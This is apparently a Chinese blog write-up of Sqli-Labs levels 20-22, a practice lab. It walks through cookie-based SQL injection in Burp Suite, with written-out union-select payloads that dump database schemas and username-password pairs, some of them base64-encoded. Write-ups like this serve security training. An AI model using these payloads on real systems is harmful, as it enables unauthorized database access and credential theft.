Sqli-Labs less20-22
less-20
第20关成功登陆之后会产生一个cookie,作为下次登陆的凭证(可以用于登陆其他人的qq空间)
这里我依然使用burp suite,其实火狐和谷歌上有许多插件可以改http头和cookie(例如chrome工具: Cookie Editor),掌握一个即可
抓包后发送到repeater:
改cookie:uname=admin',报错,说明存在注入漏洞
之后构造语句还是老步骤
查看列数:uname=' order by 4 # (注意闭合sql语句)
判断回显位置:uname='union select 1,2,3#
爆库:uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#
爆表:uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#
爆列:uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#
爆信息:uname='union select 1,2,group_concat(concat_ws('-',username,password))from security.users#
less-21
输入用户名密码登陆:
抓包观察数据:
可以看到cookie的内容变成加密的形式,百度后用base64加解密可以解决:
https://base64.us/
把我们需要输入的语句先进行一遍base64加密即可:
例如判断当前数据库:uname=')union select 1,2,database()#转义之后:
除了闭合方式和加一步转码外,步骤与上一关完全一致,不再赘述。
less-22
本关抓包并测试发现数据格式变为“”,其他完全一样
“ union select 1,2,database()#转义:InVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
其他语句均相同!
1-22关为基础关,到此结束。
最新文章
- 【翻译十】java-固定锁和同步
- android-GridView控件的使用
- C# 调用VC++的DLL,VC++封装DLL
- Spark生态之Spark Core
- Android通过tcpdump抓包(wifi, 2g, 3g都可以)
- Spring 配置自动扫描spring bean配置
- 目前比较流行的Python科学计算发行版
- 将app接口服务器改为dotnet core承载
- gitlab wiki 500
- java.lang.NoSuchMethodError: org.springframework.boot.builder.SpringApplicationBuilder.<;init>;([Ljava
- XSS绕过<;>;进行测试
- 分析解剖微服务系列(二)-SOA和微服务异同
- 尚硅谷springboot学习33-整合mybatis
- 关于Unity中的模型描边与Shader切换(专题二)
- Python练习-函数版-锁定三次登陆失败的用户
- 【BioCode】根据seq与位点信息截取窗口
- Excel分类汇总与数据有效性
- jsp、Servlet的面试题
- 数据爬取后台(PHP+Python)联合作战
- 第2章 深入分析java I/O的工作机制(上)